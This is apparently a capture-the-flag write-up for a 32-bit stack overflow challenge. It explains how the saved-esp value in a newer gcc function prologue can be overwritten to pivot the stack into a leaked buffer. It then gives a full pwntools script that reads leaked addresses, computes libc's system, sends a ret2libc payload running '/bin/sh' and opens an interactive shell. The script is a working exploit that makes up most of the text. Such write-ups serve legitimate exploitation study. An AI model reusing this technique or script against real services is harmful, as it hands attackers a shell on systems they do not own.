When I got this challenge it was already a binary, compiled with a newer gcc that has some new mechanisms for function calls, as follows:
80485cb: 8d 4c 24 04 lea ecx,[esp+0x4]
80485cf: 83 e4 f0 and esp,0xfffffff0
80485d2: ff 71 fc push DWORD PTR [ecx-0x4]
80485d5: 55 push ebp
80485d6: 89 e5 mov ebp,esp
80485d8: 51 push ecx
80485d9: 83 ec 34 sub esp,0x34
......
8048682: b8 00 00 00 00 mov eax,0x0
8048687: 8b 4d fc mov ecx,DWORD PTR [ebp-0x4]
804868a: c9 leave
804868b: 8d 61 fc lea esp,[ecx-0x4]
804868e: c3 ret
You can see that during setup, lea ecx,[esp+0x4] puts the value of esp into ecx, then pushes ecx onto the stack; after we overflow, we also overwrite that original value.
The challenge is generous and provides a lot, so we can compute the address of system, and it also gives the buffer address. So we put the ret address at the start of the buffer — once esp is controlled properly it won’t break — and then stack a normal ret2libc as usual.
from pwn import *
e = ELF('/lib32/libc.so.6')
#e = ELF('./libc.so.6')
r = remote("127.0.0.1",4000)
r.recvlines(2)
puts = r.recvline().strip()[47:57]
print 'puts : ',puts
puts = int(puts, 16)
buffer = r.recvline().strip()[-10:]
print 'buffer :',buffer
buffer = int(buffer,16)
system = puts - ( e.symbols['puts'] - e.symbols['system'] )
print 'system : ',hex(system)
payload = p32(system) + p32(0) + p32(buffer + 4*7) + p32(0) + p32(0) + p32(0) + p32(0)
payload += '/bin/sh\x00'
payload += 'A'*(44-len(payload))
print len(payload)
r.sendline( payload + p32( buffer + 4) )
r.interactive()